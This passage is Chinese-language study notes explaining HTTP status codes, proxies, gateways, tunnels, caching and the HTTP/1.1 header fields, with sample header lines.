Tips: 当301、302、303响应状态码返回时,几乎所有的浏览器都会把POST改成GET,并删除请求报文内的主体,之后请求会自动再次发送。301、302标准是禁止将POST方法改变成GET方法的,但实际使用时大家都会这么做。
304 Not Modified
该状态码表示客户端发送附带条件的请求时,服务器端允许请求访问资源,但因发生请求未满足条件的情况后,直接返回304 Not Modified(服务器端资源未改变,可直接使用客户端未过期的缓存)。304状态码返回时,不包含任何响应的主体部分。304虽然被划分在3XX类别中,但是和重定向没有关系。
307 Temporary Redirect
临时重定向。该状态码与302 Found有着相同的含义。尽管302标准禁止POST变换成GET,但实际使用时大家并不遵守。
307会遵照浏览器标准,不会从POST变成GET。但是,对于处理响应时的行为,每种浏览器有可能出现不同的情况。
4.4 4XX客户端错误
4XX的响应结果表明客户端是发生错误的原因所在。
400 Bad Request
该状态码表示请求报文中存在语法错误。当错误发生时,需修改请求的内容后再次发送请求。另外,浏览器会像200 OK一样对待该状态码。
401 Unauthorized
该状态码表示发送的请求需要有通过HTTP认证(BASIC认证、DIGEST认证)的认证信息。另外若之前已进行过1次请求,则表示用户认证失败。返回含有401的响应必须包含一个适用于被请求资源的WWW-Authenticate首部用以质询(challenge)用户信息。当浏览器初次接收到401响应,会弹出认证用的对话窗口。
403 Forbidden
该状态码表明对请求资源的访问被服务器拒绝了。服务器端没有必要给出拒绝的详细理由,但如果想作说明的话,可以在实体的主体部分对原因进行描述,这样就能让用户看到了。
未获得文件系统的访问授权,访问权限出现某些问题(从未授权的发送源IP地址试图访问)等列举的情况都可能是发生403的原因。
404 Not Found
该状态码表明服务器上无法找到请求的资源。除此之外,也可以在服务器端拒绝请求且不想说明理由时使用。
4.5 5XX服务器错误
5XX的响应结果表明服务器本身发生错误。
500 Internal Server Error
该状态码表明服务器端在执行请求时发生了错误。也有可能是Web应用存在的bug或某些临时的故障。
503 Service Unavailable
该状态码表明服务器暂时处于超负载或正在进行停机维护,现在无法处理请求。如果事先得知解除以上状况需要的时间,最好写入Retry-After首部字段再返回给客户端。
状态码和状况的不一致:不少返回的状态码响应都是错误的,但是用户可能察觉不到这点。比如Web应用程序内部发生错误,状态码依然返回200 OK,这种情况也经常遇到。
第五章 与HTTP协作的Web服务器
HTTP/1.1规范允许一台HTTP服务器搭建多个Web站点。比如,提供Web托管服务(Web Hosting Service)的供应商,可以用一台服务器为多位客户服务,也可以以每位客户持有的域名运行各自不同的网站。这是因为利用了虚拟主机(VirtualHost,又称虚拟服务器)的功能。
即使物理层面只有一台服务器,但只要使用虚拟主机的功能,则可以假想已具有多台服务器。
客户端使用HTTP协议访问服务器时,会经常采用类似www.hackr.jp这样的主机名和域名。
在互联网上,域名通过DNS服务映射到IP地址(域名解析)之后访问目标网站。可见,当请求发送到服务器时,已经是以IP地址形式访问了。
所以,如果一台服务器内托管了www.tricorder.jp和www.hackr.jp这两个域名,当收到请求时就需要弄清楚究竟要访问哪个域名。
在相同的IP地址下,由于虚拟主机可以寄存多个不同主机名和域名的Web网站,因此在发送HTTP请求时,必须在Host首部内完整指定主机名或域名的URI。
5.2 通信数据转发程序:代理、网关、隧道
HTTP通信时,除客户端和服务器以外,还有一些用于通信数据转发的应用程序,例如代理、网关和隧道。它们可以配合服务器工作。这些应用程序和服务器可以将请求转发给通信线路上的下一站服务器,并且能接收从那台服务器发送的响应再转发给客户端。
- 代理:代理是一种有转发功能的应用程序,它扮演了位于服务器和客户端“中间人”的角色,接收由客户端发送的请求并转发给服务器,同时也接收服务器返回的响应并转发给客户端。
- 网关:网关是转发其他服务器通信数据的服务器,接收从客户端发送来的请求时,它就像自己拥有资源的源服务器一样对请求进行处理。有时客户端可能都不会察觉,自己的通信目标是一个网关。
- 隧道:隧道是在相隔甚远的客户端和服务器两者之间进行中转,并保持双方通信连接的应用程序。
5.2.1 代理
代理服务器的基本行为就是接收客户端发送的请求后转发给其他服务器。代理不改变请求URI,会直接发送给前方持有资源的目标服务器。持有资源实体的服务器被称为源服务器。从源服务器返回的响应经过代理服务器后再传给客户端。
每次通过代理服务器转发请求或响应时,会追加写入Via首部信息
在HTTP通信过程中,可级联多台代理服务器。请求和响应的转发会经过数台类似锁链一样连接起来的代理服务器。转发时,需要附加Via首部字段以标记出经过的主机信息。
使用代理服务器的理由有:利用缓存技术(稍后讲解)减少网络带宽的流量,组织内部针对特定网站的访问控制,以获取访问日志为主要目的,等等。代理有多种使用方法,按两种基准分类。一种是是否使用缓存,另一种是是否会修改报文。
- 缓存代理:代理转发响应时,缓存代理(Caching Proxy)会预先将资源的副本(缓存)保存在代理服务器上。当代理再次接收到对相同资源的请求时,就可以不从源服务器那里获取资源,而是将之前缓存的资源作为响应返回。
- 透明代理:转发请求或响应时,不对报文做任何加工的代理类型被称为透明代理(Transparent Proxy)。反之,对报文内容进行加工的代理被称为非透明代理。
5.2.2 网关
网关的工作机制和代理十分相似。而网关能使通信线路上的服务器提供非HTTP协议服务。
**利用网关能提高通信的安全性,因为可以在客户端与网关之间的通信线路上加密以确保连接的安全。**比如,网关可以连接数据库,使用SQL语句查询数据。另外,在Web购物网站上进行信用卡结算时,网关可以和信用卡结算系统联动。
5.2.3 隧道
隧道可按要求建立起一条与其他服务器的通信线路,届时使用SSL等加密手段进行通信。隧道的目的是确保客户端能与服务器进行安全的通信。隧道本身不会去解析HTTP请求。也就是说,请求保持原样中转给之后的服务器。隧道会在通信双方断开连接时结束。
通过隧道的传输,可以和远距离的服务器安全通信。隧道本身是透明的,客户端不用在意隧道的存在。
5.3 保存资源的缓存
缓存是指代理服务器或客户端本地磁盘内保存的资源副本。利用缓存可减少对源服务器的访问,因此也就节省了通信流量和通信时间。
缓存服务器是代理服务器的一种,并归类在缓存代理类型中。换句话说,当代理转发从服务器返回的响应时,代理服务器将会保存一份资源的副本。
缓存服务器的优势在于利用缓存可避免多次从源服务器转发资源。因此客户端可就近从缓存服务器上获取资源,而源服务器也不必多次处理相同的请求了。
5.3.1 缓存的有效期限
即便缓存服务器内有缓存,也不能保证每次都会返回对同资源的请求。因为这关系到被缓存资源的有效性问题。当遇上源服务器上的资源更新时,如果还是使用不变的缓存,那就会演变成返回更新前的“旧”资源了。即使存在缓存,也会因为客户端的要求、缓存的有效期等因素,向源服务器确认资源的有效性。若判断缓存失效,缓存服务器将会再次从源服务器上获取“新”资源。
5.3.2 客户端的缓存
缓存不仅可以存在于缓存服务器内,还可以存在客户端浏览器中。以InternetExplorer程序为例,把客户端缓存称为临时网络文件(Temporary InternetFile)。浏览器缓存如果有效,就不必再向服务器请求相同的资源了,可以直接从本地磁盘内读取。另外,和缓存服务器相同的一点是,当判定缓存过期后,会向源服务器确认资源的有效性。若判断浏览器缓存失效,浏览器会再次请求新资源。
Tips:在HTTP出现之前的协议
- FTP(File Transfer Protocol):传输文件时使用的协议。该协议历史久远,可追溯到1973年前后,比TCP/IP协议族的出现还要早。虽然它在1995年被HTTP的流量(Traffic)超越,但时至今日,仍被广泛沿用。
- NNTP(Network News Transfer Protocol):用于NetNews电子会议室内传送消息的协议。在1986年前后出现,属于比较古老的一类协议。现在,利用Web交换信息已成主流,所以该协议已经不怎么使用了。
- Archie:搜索anonymous FTP公开的文件信息的协议。1990年前后出现,现在已经不常使用。
- WAIS(Wide Area Information Servers):以关键词检索多个数据库使用的协议。1991年前后出现。由于现在已经被HTTP协议替代,也已经不怎么使用了。
- Gophe:查找与互联网连接的计算机内信息的协议。1991年前后出现,由于现在已经被HTTP协议替代,也已经不怎么使用了。
第六章 HTTP首部
6.1 HTTP报文首部
HTTP协议的请求和响应报文中必定包含HTTP首部。首部内容为客户端和服务器分别处理请求和响应提供所需要的信息。对于客户端用户来说,这些信息中的大部分内容都无须亲自查看。
HTTP请求报文:在请求中,HTTP报文由方法、URI、HTTP版本、HTTP首部字段等部分构成。
下面的示例是访问http://hackr.jp时,请求报文的首部信息。
HTTP响应报文:在响应中,HTTP报文由HTTP版本、状态码(数字和原因短语)、HTTP首部字段3部分构成。
以下示例是之前请求访问http://hackr.jp/时,返回的响应报文的首部信息。
在报文众多的字段当中,HTTP首部字段包含的信息最为丰富。首部字段同时存在于请求和响应报文内,并涵盖HTTP报文相关的内容信息。因HTTP版本或扩展规范的变化,首部字段可支持的字段内容略有不同。本书主要涉及HTTP/1.1及常用的首部字段。
6.2 HTTP首部字段
6.2.1 HTTP首部字段传递重要信息
HTTP首部字段是构成HTTP报文的要素之一。在客户端与服务器之间以HTTP协议进行通信的过程中,无论是请求还是响应都会使用首部字段,它能起到传递额外重要信息的作用。
使用首部字段是为了给浏览器和服务器提供报文主体大小、所使用的语言、认证信息等内容。
6.2.2 HTTP首部字段结构
HTTP首部字段是由首部字段名和字段值构成的,中间用冒号“:”分隔。例如,在HTTP首部中以Content-Type这个字段来表示报文主体的对象类型。首部字段名为Content-Type,字符串text/html是字段值。字段值对应单个HTTP首部字段可以有多个值。
Content-Type: text/html
Keep-Alive: timeout=15, max=100
Tips:若HTTP首部字段重复了会如何
当HTTP报文首部中出现了两个或两个以上具有相同首部字段名时会怎么样?这种情况在规范内尚未明确,根据浏览器内部处理逻辑的不同,结果可能并不一致。有些浏览器会优先处理第一次出现的首部字段,而有些则会优先处理最后出现的首部字段。
6.2.3 4种HTTP首部字段类型
HTTP首部字段根据实际用途被分为以下4种类型。
- 通用首部字段(General Header Fields):请求报文和响应报文两方都会使用的首部。
- 请求首部字段(Request Header Fields):从客户端向服务器端发送请求报文时使用的首部。补充了请求的附加内容、客户端信息、响应内容相关优先级等信息。
- 响应首部字段(Response Header Fields):从服务器端向客户端返回响应报文时使用的首部。补充了响应的附加内容,也会要求客户端附加额外的内容信息。
- 实体首部字段(Entity Header Fields):针对请求报文和响应报文的实体部分使用的首部。补充了资源内容更新时间等与实体有关的信息。
6.2.4 HTTP/1.1 首部字段一览
HTTP/1.1规范定义了如下47种首部字段。
通用首部字段(General Header Fields)
请求首部字段(Request Header Fields)
响应首部字段(Response Header Fields)
实体首部字段(Entity Header Fields)
6.2.5 非HTTP/1.1首部字段
在HTTP协议通信交互中使用到的首部字段,不限于RFC2616中定义的47种首部字段。还有Cookie、Set-Cookie和Content-Disposition等在其他RFC中定义的首部字段,它们的使用频率也很高。这些非正式的首部字段统一归纳在RFC4229 HTTP Header Field Registrations中。
6.2.6 End-to-end首部和Hop-by-hop首部
HTTP首部字段将定义成缓存代理和非缓存代理的行为,分成2种类型。
- 端到端首部(End-to-end Header):分在此类别中的首部会转发给请求/响应对应的最终接收目标,且必须保存在由缓存生成的响应中,另外规定它必须被转发。
- 逐跳首部(Hop-by-hop Header):分在此类别中的首部只对单次转发有效,会因通过缓存或代理而不再转发。HTTP/1.1和之后版本中,如果要使用hop-by-hop首部,需提供Connection首部字段。
下面列举了HTTP/1.1中的逐跳首部字段。除这8个首部字段之外,其他所有字段都属于端到端首部。Connection、Keep-Alive、Proxy-Authenticate、Proxy-Authorization、Trailer、TE、Transfer-Encoding、Upgrade。
6.3 HTTP/1.1 通用首部字段
通用首部字段是指,请求报文和响应报文双方都会使用的首部。
6.3.1 Cache-Control
通过指定首部字段Cache-Control的指令,就能操作缓存的工作机制。
指令的参数是可选的,多个指令之间通过“,”分隔。首部字段Cache-Control的指令可用于请求及响应时。
Cache-Control: private, max-age=0, no-cache
Cache-Control指令,缓存请求指令
Cache-Control指令,缓存响应指令
表示是否能缓存的指令
Cache-Control: public
Cache-Control: private
Cache-Control: no-cache
Cache-Control: no-cache=Location
- public指令:当指定使用public指令时,则明确表明其他用户也可利用缓存。
- private指令:当指定private指令后,响应只以特定的用户作为对象,这与public指令的行为相反。缓存服务器会对该特定用户提供资源缓存的服务,对于其他用户发送过来的请求,代理服务器则不会返回缓存。
- no-cache指令:使用no-cache指令的目的是为了防止从缓存中返回过期的资源。客户端发送的请求中如果包含no-cache指令,则表示客户端将不会接收缓存过的响应。于是,“中间”的缓存服务器必须把客户端请求转发给源服务器。如果服务器返回的响应中包含no-cache指令,那么缓存服务器不能对资源进行缓存。源服务器以后也将不再对缓存服务器请求中提出的资源有效性进行确认,且禁止其对响应资源进行缓存操作。由服务器返回的响应中,若报文首部字段Cache-Control中对no-cache字段名具体指定参数值,那么客户端在接收到这个被指定参数值的首部字段对应的响应报文后,就不能使用缓存。换言之,无参数值的首部字段可以使用缓存。只能在响应指令中指定该参数。
控制可执行缓存的对象的指令
- no-store指令:当使用no-store指令时,暗示请求(和对应的响应)或响应中包含机密信息。因此,该指令规定缓存不能在本地存储请求或响应的任一部分。
Cache-Control: no-store
指定缓存期限和认证的指令
- s-maxage指令:s-maxage指令的功能和max-age指令的相同,它们的不同点是s-maxage指令只适用于供多位用户使用的公共缓存服务器。也就是说,对于向同一用户重复返回响应的服务器来说,这个指令没有任何作用。另外,当使用s-maxage指令后,则直接忽略对Expires首部字段及max-age指令的处理。
Cache-Control: s-maxage=604800 // 单位秒
- max-age指令
Cache-Control: max-age=604800 // 单位秒
当客户端发送的请求中包含max-age指令时,如果判定缓存资源的缓存时间数值比指定时间的数值更小,那么客户端就接收缓存的资源。另外,当指定max-age值为0,那么缓存服务器通常需要将请求转发给源服务器。当服务器返回的响应中包含max-age指令时,缓存服务器将不对资源的有效性再作确认,而max-age数值代表资源保存为缓存的最长时间。应用HTTP/1.1版本的缓存服务器遇到同时存在Expires首部字段的情况时,会优先处理max-age指令,而忽略掉Expires首部字段。而HTTP/1.0版本的缓存服务器的情况却相反,max-age指令会被忽略掉。
- min-fresh指令
Cache-Control: min-fresh=60 // 单位秒
min-fresh指令要求缓存服务器返回至少还未过指定时间的缓存资源。比如,当指定min-fresh为60秒后,在这60秒以内如果有超过有效期限的资源都无法作为响应返回了。
- max-stale指令
Cache-Control: max-stale=3600 // 单位秒
使用max-stale可指示缓存资源,即使过期也照常接收。如果指令未指定参数值,那么无论经过多久,客户端都会接收响应;如果指令中指定了具体数值,那么即使过期,只要仍处于max-stale指定的时间内,仍旧会被客户端接收。
- only-if-cached指令
Cache-Control: only-if-cached
使用only-if-cached指令表示客户端仅在缓存服务器本地缓存目标资源的情况下才会要求其返回。换言之,该指令要求缓存服务器不重新加载响应,也不会再次确认资源有效性。若发生请求缓存服务器的本地缓存无响应,则返回状态码504Gateway Timeout。
- must-revalidate指令
Cache-Control: must-revalidate
使用must-revalidate指令,代理会向源服务器再次验证即将返回的响应缓存目前是否仍然有效。若代理无法连通源服务器再次获取有效资源的话,缓存必须给客户端一条504(Gateway Timeout)状态码。另外,使用must-revalidate指令会忽略请求的max-stale指令(即使已经在首部使用了max-stale,也不会再有效果)。
- proxy-revalidate指令
Cache-Control: proxy-revalidate
proxy-revalidate指令要求所有的缓存服务器在接收到客户端带有该指令的请求返回响应之前,必须再次验证缓存的有效性。
- no-transform指令
Cache-Control: no-transform
使用no-transform指令规定无论是在请求还是响应中,缓存都不能改变实体主体的媒体类型。这样做可防止缓存或代理压缩图片等类似操作。
Cache-Control扩展
- cache-extension token
Cache-Control: private, community="UCI"
通过cache-extension标记(token),可以扩展Cache-Control首部字段内的指令。如上例,Cache-Control首部字段本身没有community这个指令。借助extensiontokens实现了该指令的添加。如果缓存服务器不能理解community这个新指令,就会直接忽略。因此,extension tokens仅对能理解它的缓存服务器来说是有意义的。
6.3.2 Connection
Connection首部字段具备如下两个作用。(控制不再转发给代理的首部字段、管理持久连接)
控制不再转发给代理的首部字段
Connection: 不在转发的首部字段名
在客户端发送请求和服务器返回响应内,使用Connection首部字段,可控制不再转发给代理的首部字段(即Hop-by-hop首部)。
管理持久连接
Connection: close
HTTP/1.1版本的默认连接都是持久连接。为此,客户端会在持久连接上连续发送请求。当服务器端想明确断开连接时,则指定Connection首部字段的值为Close。
Connection: Keep-Alive
HTTP/1.1之前的HTTP版本的默认连接都是非持久连接。为此,如果想在旧版本的HTTP协议上维持持续连接,则需要指定Connection首部字段的值为Keep-Alive。
如上图①所示,客户端发送请求给服务器时,服务器端会像上图②那样加上首部字段Keep-Alive及首部字段Connection后返回响应。
6.3.3 Date
首部字段Date表明创建HTTP报文的日期和时间。
HTTP/1.1协议使用在RFC1123中规定的日期时间的格式,如下示例。
Date:Tue, 03 Jul 2012 04:40:59 GMT
之前的HTTP协议版本中使用在RFC850中定义的格式,如下所示。
Date:Tue, 03-Jul-12 04:40:59 GMT
除此之外,还有一种格式。它与C标准库内的asctime()函数的输出格式一致。
Date:Tue Jul 03 04:40:59 2012
6.3.4 Pragma
Pragma是HTTP/1.1之前版本的历史遗留字段,仅作为与HTTP/1.0的向后兼容而定义。
Pragma: no-cache
该首部字段属于通用首部字段,但只用在客户端发送的请求中。客户端会要求所有的中间服务器不返回缓存的资源。
所有的中间服务器如果都能以HTTP/1.1为基准,那直接采用Cache-Control: no-cache指定缓存的处理方式是最为理想的。但要整体掌握全部中间服务器使用的HTTP协议版本却是不现实的。因此,发送的请求会同时含有下面两个首部字段。
Cache-Control: no-cache
Pragma: no-cache
6.3.5 Trailer
首部字段Trailer会事先说明在报文主体后记录了哪些首部字段。该首部字段可应用在HTTP/1.1版本分块传输编码时。
以上用例中,指定首部字段Trailer的值为Expires,在报文主体之后(分块长度0之后)出现了首部字段Expires。
6.3.6 Transfer-Encoding
首部字段Transfer-Encoding规定了传输报文主体时采用的编码方式。
HTTP/1.1的传输编码方式仅对分块传输编码有效。
以上用例中,正如在首部字段Transfer-Encoding中指定的那样,有效使用分块传输编码,且分别被分成3312字节和914字节大小的分块数据。
6.3.7 Upgrade
首部字段Upgrade用于检测HTTP协议及其他协议是否可使用更高的版本进行通信,其参数值可以用来指定一个完全不同的通信协议。
上图用例中,首部字段Upgrade指定的值为TLS/1.0。请注意此处两个字段首部字段的对应关系,Connection的值被指定为Upgrade。Upgrade首部字段产生作用的Upgrade对象仅限于客户端和邻接服务器之间。因此,使用首部字段Upgrade时,还需要额外指定Connection:Upgrade。
对于附有首部字段Upgrade的请求,服务器可用101 Switching Protocols状态码作为响应返回。
6.3.8 Via
使用首部字段Via是为了追踪客户端与服务器之间的请求和响应报文的传输路径。报文经过代理或网关时,会先在首部字段Via中附加该服务器的信息,然后再进行转发。这个做法和traceroute及电子邮件的Received首部的工作机制很类似。首部字段Via不仅用于追踪报文的转发,还可避免请求回环的发生。所以必须在经过代理时附加该首部字段内容。
上图用例中,在经过代理服务器A时,Via首部附加了“1.0 gw. hackr.jp(Squid/3.1)”这样的字符串值。行头的1.0是指接收请求的服务器上应用的HTTP协议版本。接下来经过代理服务器B时亦是如此,在Via首部附加服务器信息,也可增加1个新的Via首部写入服务器信息。
Via首部是为了追踪传输路径,所以经常会和TRACE方法一起使用。比如,代理服务器接收到由TRACE方法发送过来的请求(其中Max-Forwards: 0)时,代理服务器就不能再转发该请求了。这种情况下,代理服务器会将自身的信息附加到Via首部后,返回该请求的响应。
6.3.9 Warning
HTTP/1.1的Warning首部是从HTTP/1.0的响应首部(Retry-After)演变过来的。该首部通常会告知用户一些与缓存相关的问题的警告。
Warning首部的格式如下。最后的日期时间部分可省略。
HTTP/1.1中定义了7种警告。警告码对应的警告内容仅推荐参考。另外,警告码具备扩展性,今后有可能追加新的警告码。
6.4 请求首部字段
请求首部字段是从客户端往服务器端发送请求报文中所使用的字段,用于补充请求的附加信息、客户端信息、对响应内容相关的优先级等内容。
6.4.1 Accept
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept首部字段可通知服务器,用户代理能够处理的媒体类型及媒体类型的相对优先级。可使用type/subtype这种形式,一次指定多种媒体类型。下面我们试举几个媒体类型的例子。
下面我们试举几个媒体类型的例子。
- 文本文件:text/html、text/plain、text/css、application/xhtml+xml、application/xml …
- 图片文件:image/jpeg、image/gif、image/png …
- 视频文件:video/mpeg、video/quicktime …
- 应用程序使用的二进制文件:application/octet-stream, application/zip …
比如,如果浏览器不支持PNG图片的显示,那Accept就不指定image/png,而指定可处理的image/gif和image/jpeg等图片类型。
若想要给显示的媒体类型增加优先级,则使用q=来额外表示权重值,用分号(;)进行分隔。权重值q的范围是0~1(可精确到小数点后3位),且1为最大值。不指定权重q值时,默认权重为q=1.0。当服务器提供多种内容时,将会首先返回权重值最高的媒体类型。
6.4.2 Accept-Charset
Accept-Charset: iso-8859-5, unicode-1-1;q=0.8
Accept-Charset首部字段可用来通知服务器用户代理支持的字符集及字符集的相对优先顺序。另外,可一次性指定多种字符集。与首部字段Accept相同的是可用权重q值来表示相对优先级。该首部字段应用于内容协商机制的服务器驱动协商。
6.4.3 Accept-Encoding
Accept-Encoding: gzip, deflate
Accept-Encoding首部字段用来告知服务器用户代理支持的内容编码及内容编码的优先级顺序。可一次性指定多种内容编码。采用权重q值来表示相对优先级,这点与首部字段Accept相同。另外,也可使用星号(*)作为通配符,指定任意的编码格式。
下面试举出几个内容编码的例子。
- gzip:由文件压缩程序gzip(GNU zip)生成的编码格式(RFC1952),采用Lempel-Ziv算法(LZ77)及32位循环冗余校验(Cyclic RedundancyCheck,通称CRC)。
- compress:由UNIX文件压缩程序compress生成的编码格式,采用Lempel-Ziv-Welch算法(LZW)。
- deflate:组合使用zlib格式(RFC1950)及由deflate压缩算法(RFC1951)生成的编码格式。
- identity:不执行压缩或不会变化的默认编码格式
6.4.4 Accept-Language
Accept-Language: zh-cn, zh;q=0.7,en-us,en;q=0.3
首部字段Accept-Language用来告知服务器用户代理能够处理的自然语言集(指中文或英文等),以及自然语言集的相对优先级。可一次指定多种自然语言集。和Accept首部字段一样,按权重值q来表示相对优先级。在上述图例中,客户端在服务器有中文版资源的情况下,会请求其返回中文版对应的响应,没有中文版时,则请求返回英文版响应。
6.4.5 Authorization
Authorization: Basic dWVub3N1bjpwYXNzd29yZA==
首部字段Authorization是用来告知服务器,用户代理的认证信息(证书值)。通常,想要通过服务器认证的用户代理会在接收到返回的401状态码响应后,把首部字段Authorization加入请求中。共用缓存在接收到含有Authorization首部字段的请求时的操作处理会略有差异。有关HTTP访问认证及Authorization首部字段,稍后的章节还会详细说明。另外,读者也可参阅RFC2616。
6.4.6 Expect
Expect: 100-continue
客户端使用首部字段Expect来告知服务器,期望出现的某种特定行为。因服务器无法理解客户端的期望作出回应而发生错误时,会返回状态码417Expectation Failed。客户端可以利用该首部字段,写明所期望的扩展。虽然HTTP/1.1规范只定义了100-continue(状态码100 Continue之意)。等待状态码100响应的客户端在发生请求时,需要指定Expect:100-continue。
6.4.7 From
首部字段From用来告知服务器使用用户代理的用户的电子邮件地址。通常,其使用目的就是为了显示搜索引擎等用户代理的负责人的电子邮件联系方式。使用代理时,应尽可能包含From首部字段(但可能会因代理不同,将电子邮件地址记录在User-Agent首部字段内)。
6.4.8 Host
虚拟主机运行在同一个IP上,因此使用首部字段Host加以区分
Host: www.hackr.jp
Host:
首部字段Host会告知服务器,请求的资源所处的互联网主机名和端口号。Host首部字段在HTTP/1.1规范内是唯一一个必须被包含在请求内的首部字段。首部字段Host和以单台服务器分配多个域名的虚拟主机的工作机制有很密切的关联,这是首部字段Host必须存在的意义。请求被发送至服务器时,请求中的主机名会用IP地址直接替换解决。但如果这时,相同的IP地址下部署运行着多个域名,那么服务器就会无法理解究竟是哪个域名对应的请求。因此,就需要使用首部字段Host来明确指出请求的主机名。若服务器未设定主机名,那直接发送一个空值即可。
6.4.9 If-Match 条件请求
附带条件请求
形如If-xxx这种样式的请求首部字段,都可称为条件请求。服务器接收到附带条件的请求后,只有判断指定条件为真时,才会执行请求。只有当If-Match的字段值跟ETag值匹配一致时,服务器才会接受请求。
If-Match: "123456"
首部字段If-Match,属附带条件之一,它会告知服务器匹配资源所用的实体标记(ETag)值。这时的服务器无法使用弱ETag值。(请参照本章有关首部字段ETag的说明)服务器会比对If-Match的字段值和资源的ETag值,仅当两者一致时,才会执行请求。反之,则返回状态码412 Precondition Failed的响应。还可以使用星号(*)指定If-Match的字段值。针对这种情况,服务器将会忽略ETag的值,只要资源存在就处理请求。
6.4.10 If-Modified-Since
如果在If-Modified-Since字段指定的日期时间后,资源发生了更新,服务器会接受请求
If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT
首部字段If-Modified-Since,属附带条件之一,它会告知服务器若If-Modified-Since字段值早于资源的更新时间,则希望能处理该请求。而在指定If-Modified-Since字段值的日期时间之后,如果请求的资源都没有过更新,则返回状态码304 NotModified的响应。If-Modified-Since用于确认代理或客户端拥有的本地资源的有效性。获取资源的更新日期时间,可通过确认首部字段Last-Modified来确定。
6.4.11 If-None-Match
只有在If-None-Match的字段值与ETag值不一致时,可处理该请求。与If-Match首部字段的作用相反
首部字段If-None-Match属于附带条件之一。它和首部字段If-Match作用相反。用于指定If-None-Match字段值的实体标记(ETag)值与请求资源的ETag不一致时,它就告知服务器处理该请求。在GET或HEAD方法中使用首部字段If-None-Match可获取最新的资源。因此,这与使用首部字段If-Modified-Since时有些类似。
6.4.12 If-Range
首部字段If-Range属于附带条件之一。它告知服务器若指定的If-Range字段值(ETag值或者时间)和请求资源的ETag值或时间相一致时,则作为范围请求处理。反之,则返回全体资源。
下面我们思考一下不使用首部字段If-Range发送请求的情况。服务器端的资源如果更新,那客户端持有资源中的一部分也会随之无效,当然,范围请求作为前提是无效的。这时,服务器会暂且以状态码412 Precondition Failed作为响应返回,其目的是催促客户端再次发送请求。这样一来,与使用首部字段If-Range比起来,就需要花费两倍的功夫。
6.4.13 If-Unmodified-Since
If-Unmodified-Since: Thu, 15 Apr 2004 00:00:00 GMT
**首部字段If-Unmodified-Since和首部字段If-Modified-Since的作用相反。**它的作用的是告知服务器,指定的请求资源只有在字段值内指定的日期时间之后,未发生更新的情况下,才能处理请求。如果在指定日期时间后发生了更新,则以状态码412 Precondition Failed作为响应返回。
6.4.14 Max-Forwards
每次转发数值减1。当数值变0时返回响应
Max-Forwards: 10
通过TRACE方法或OPTIONS方法,发送包含首部字段Max-Forwards的请求时,该字段以十进制整数形式指定可经过的服务器最大数目。服务器在往下一个服务器转发请求之前,会将Max-Forwards的值减1后重新赋值。当服务器接收到Max-Forwards值为0的请求时,则不再进行转发,而是直接返回响应。
使用HTTP协议通信时,请求可能会经过代理等多台服务器。途中,如果代理服务器由于某些原因导致请求转发失败,客户端也就等不到服务器返回的响应了。对此,我们无从可知。
可以灵活使用首部字段Max-Forwards,针对以上问题产生的原因展开调查。由于当Max-Forwards字段值为0时,服务器就会立即返回响应,由此我们至少可以对以那台服务器为终点的传输路径的通信状况有所把握。
代理B到源服务器的请求失败了,但客户端不知道
由于未知原因,导致请求陷入代理之间的循环,但客户端不知道
6.4.15 Proxy-Authorization
Proxy-Authorization: Basic dG1w0jkpNLAGfFY5
接收到从代理服务器发来的认证质询时,客户端会发送包含首部字段Proxy-Authorization的请求,以告知服务器认证所需要的信息。这个行为是与客户端和服务器之间的HTTP访问认证相类似的,不同之处在于,认证行为发生在客户端与代理之间。客户端与服务器之间的认证,使用首部字段Authorization可起到相同作用。有关HTTP访问认证,后面的章节会作详尽阐述。
6.4.16 Range
Range: bytes=5001-10000
对于只需获取部分资源的范围请求,包含首部字段Range即可告知服务器资源的指定范围。上面的示例表示请求获取从第5001字节至第10000字节的资源。接收到附带Range首部字段请求的服务器,会在处理请求之后返回状态码为206 Partial Content的响应。无法处理该范围请求时,则会返回状态码200 OK的响应及全部资源。
6.4.17 Referer
Referer: http://www.hackr.jp/index.html
首部字段Referer会告知服务器请求的原始资源的URI。客户端一般都会发送Referer首部字段给服务器。但当直接在浏览器的地址栏输入URI,或出于安全性的考虑时,也可以不发送该首部字段。因为原始资源的URI中的查询字符串可能含有ID和密码等保密信息,要是写进Referer转发给其他服务器,则有可能导致保密信息的泄露。另外,Referer的正确的拼写应该是Referrer,但不知为何,大家一直沿用这个错误的拼写。
6.4.18 TE
TE: gzip, deflate; q=0.5
首部字段TE会告知服务器客户端能够处理响应的传输编码方式及相对优先级。它和首部字段Accept-Encoding的功能很相像,但是用于传输编码。首部字段TE除指定传输编码之外,还可以指定伴随trailer字段的分块传输编码的方式。应用后者时,只需把trailers赋值给该字段值。
TE: trailers
6.4.19 User-Agent
User-Agent: Mozilla/5.0(Windows NT 6.1; WOW64; rv:13.0) Gecko/=>20100101 Firefox/13.0.1
首部字段User-Agent会将创建请求的浏览器和用户代理名称等信息传达给服务器。由网络爬虫发起请求时,有可能会在字段内添加爬虫作者的电子邮件地址。此外,如果请求经过代理,那么中间也很可能被添加上代理服务器的名称。
6.5 响应首部字段
响应首部字段是由服务器端向客户端返回响应报文中所使用的字段,用于补充响应的附加信息、服务器信息,以及对客户端的附加要求等信息。
6.5.1 Accept-Ranges
Accept-Ranges: bytes
##当不能处理范围请求时
Accept-Ranges: none
首部字段Accept-Ranges是用来告知客户端服务器是否能处理范围请求,以指定获取服务器端某个部分的资源。可指定的字段值有两种,可处理范围请求时指定其为bytes,反之则指定其为none。
6.5.2 Age
首部字段Age能告知客户端,源服务器在多久前创建了响应。字段值的单位为秒。若创建该响应的服务器是缓存服务器,Age值是指缓存后的响应再次发起认证到认证完成的时间值。代理创建响应时必须加上首部字段Age。
Age: 600(秒)
6.5.3 ETag
ETage: "82e22293907ce725fafa67773957acd12"
首部字段ETag能告知客户端实体标识。它是一种可将资源以字符串形式做唯一性标识的方式。服务器会为每份资源分配对应的ETag值。另外,当资源更新时,ETag值也需要更新。生成ETag值时,并没有统一的算法规则,而仅仅是由服务器来分配。
资源被缓存时,就会被分配唯一性标识。例如,当使用中文版的浏览器访问http://www.google.com/时,就会返回中文版对应的资源,而使用英文版的浏览器访问时,则会返回英文版对应的资源。两者的URI是相同的,所以仅凭URI指定缓存的资源是相当困难的。若在下载过程中出现连接中断、再连接的情况,都会依照ETag值来指定资源。
强ETag值和弱Tag值
- 强ETag值:强ETag值,不论实体发生多么细微的变化都会改变其值。
ETage: "usagi-1234"
